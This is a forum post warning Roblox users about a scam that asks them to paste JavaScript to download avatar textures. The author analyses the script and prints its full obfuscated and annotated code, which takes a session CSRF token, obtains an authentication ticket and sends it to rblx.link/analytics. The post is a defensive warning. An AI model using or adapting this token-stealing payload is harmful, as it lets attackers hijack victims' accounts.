Scam: "Please Download Your Roblox Avatar Textures"

Introduction

So someone just told myself and @ImActuallyAnna that someone offered to render their character, and that they should download their character’s textures, and send the textures to them. As a tutorial on how to do it, they sent a video (disclaimer: don’t actually follow their instructions!!). Seems innocent enough, right?

No. While that little script they ask you to paste into your URL bar while you’re logged in does work as advertised, it also does a bunch of other stuff in the background that they don’t tell you about. What it actually is is a trick to steal your account. In this post I’m explaining exactly how this works and why you should never trust scripts like this.

TL;DR: NEVER paste JavaScript someone gives you into your URL bar or browser console. They want your account.

A word on JavaScript and Cookies

Normally, when you visit a site, your browser prevents JavaScript on that website sending HTTP requests to other sites and retrieving the data on them. JavaScript actually requires a specific header in the HTTP response of third-party websites to return the data on that page back to the script. Otherwise, it errors.

So if imstealingyouraccount.com tries to use JavaScript to send a request to roblox.com to get your authentication tokens, JavaScript actually performs the request, but then checks for that header. If the header doesn’t exist, it’ll put an error in the console and stop the script from running. It does this to prevent other sites from stealing authentication tokens.

When you paste a JavaScript into your browser’s developer console or your URL bar, JavaScript bypasses those checks entirely and allows JavaScript to actually retrieve the data from those requests. Roblox actually print out messages to the developer console to warn you about this - but of course, people trying to steal your account don’t want you to see that, so they ask you to paste it in the URL bar instead.

Fortunately, some browsers such as Firefox block attempts to run JavaScript this way, but some other browsers still allow it.

Roblox Developer Console Warning Message

image

So what’s going on?

So with all that out of the way, let’s get into what this script is actually doing.

I’ll preface this by saying we did all of our testing on an alternate account, and you should never do this yourself if you don’t know what you’re doing.

The first thing we tried was to go to that link directly, and debug what it’s actually doing. Unfortunately for us, that just redirected us directly to the Roblox Games page. We did this again with Fiddler open to capture the request, and it just contained an empty redirect page. Perhaps a little suspicious that they try to hide their script like that, but not a dead giveaway that something’s up.

So next, we actually pasted that little script into the URL bar, just to see what it would do. This didn’t actually seem to work, so we pasted it into the developer console instead - knowing full well that it’d likely try to steal our auth token (again, we did this on an alt).

This time, it actually redirected us to a page showing the 3D textures of our Roblox character. Cool! The script works as advertised. But a look at Fiddler tells a different story:

Note the request to auth.roblox.com/v1/authentication-ticket, followed by another request to rblx.link/analytics. There’s no reason a script should ever need to do this, and is our first dead-giveaway that this script is trying to steal your account.

So let’s look at that first request to rblx.link again. We’re expecting some sort of executable code this time, since something actually happened.

Just like we expected, there’s a small payload of JavaScript. Seems like the $.get(url) function gets and runs some JavaScript. Here’s the raw code:

async function payload2() {
var hash = (await (await fetch((await (await fetch("https://www.roblox.com/avatar-thumbnail-3d/json?userId=" + $("meta[name='user-data']").data("userid"))).json()).Url)).json()).textures[0]
for (var i = 31, t = 0; t < 32; t++)
	i ^= hash[t].charCodeAt(0);
location.href = "https://t" + (i % 8).toString() + ".rbxcdn.com/" + hash
}
(async function(){var _0x2416b1=(await(await fetch('https://www.roblox.com/home',{'credentials':'include'}))['text']())['split']('setToken(\x27')[0x1]['split']('\x27)')[0x0];var _0x12edd1=(await fetch('https://auth.roblox.com/v1/authentication-ticket',{'method':'POST','credentials':'include','headers':{'x-csrf-token':_0x2416b1}}))['headers']['get']('rbx-authentication-ticket');await fetch('https://rblx.link/analytics'+'?t='+_0x12edd1);await payload2()}());

Let’s take a closer look at that:

//Secondary payload
async function payload2() {
	//Get the texture hash
	var hash = (await (await fetch((await (await fetch("https://www.roblox.com/avatar-thumbnail-3d/json?userId=" + $("meta[name='user-data']").data("userid"))).json()).Url)).json()).textures[0]
	
	//Figure out which CDN server the texture is stored on
	for (var i = 31, t = 0; t < 32; t++)
		i ^= hash[t].charCodeAt(0);
	
	//Redirect to the file we want
	location.href = "https://t" + (i % 8).toString() + ".rbxcdn.com/" + hash
}

//Primary payload
(async function() {
	//Fetch the CSRF token from roblox.com/home
	var _0x2416b1=(await(await fetch('https://www.roblox.com/home',{'credentials':'include'}))['text']())['split']('setToken(\x27')[0x1]['split']('\x27)')[0x0];
	
	//Pass the token to auth.roblox.com and get the rbx-authentication-ticket value from the returned JSON
	var _0x12edd1=(await fetch('https://auth.roblox.com/v1/authentication-ticket',{'method':'POST','credentials':'include','headers':{'x-csrf-token':_0x2416b1}}))['headers']['get']('rbx-authentication-ticket');
	
	//Send the auth token to their web endpoint - in plain text, no less
	await fetch('https://rblx.link/analytics'+'?t='+_0x12edd1);
	
	//Finally, now that they stole your token, they deliver the service they promised
	await payload2()
}());

This is pretty much exactly what we expected. The payload2 function redirects you to your character’s texture file as promised and is completely safe. The rest of the code, however, just grabs your roblox authentication token and sends it off to their server.

If they really only wanted the textures, they could’ve just run the first portion of that script themselves with your UserId filled in.

In Conclusion

Whenever someone asks you to paste some JavaScript into your browser, anywhere, for any reason, do not trust it. There are so many scams going around trying to steal your account, or gain access to your games, items, groups or robux. I could see some bigger developers falling for this, particularly those who don’t concern themselves much with the programming side of things.

JavaScripts given to you by other people are almost always malicious and are looking for something from you that you wouldn’t willingly give up. This doesn’t just go for Roblox either, the same happens on Discord and other platforms.

2 Likes

Unfortunately this is not a resource and does not belong in this category.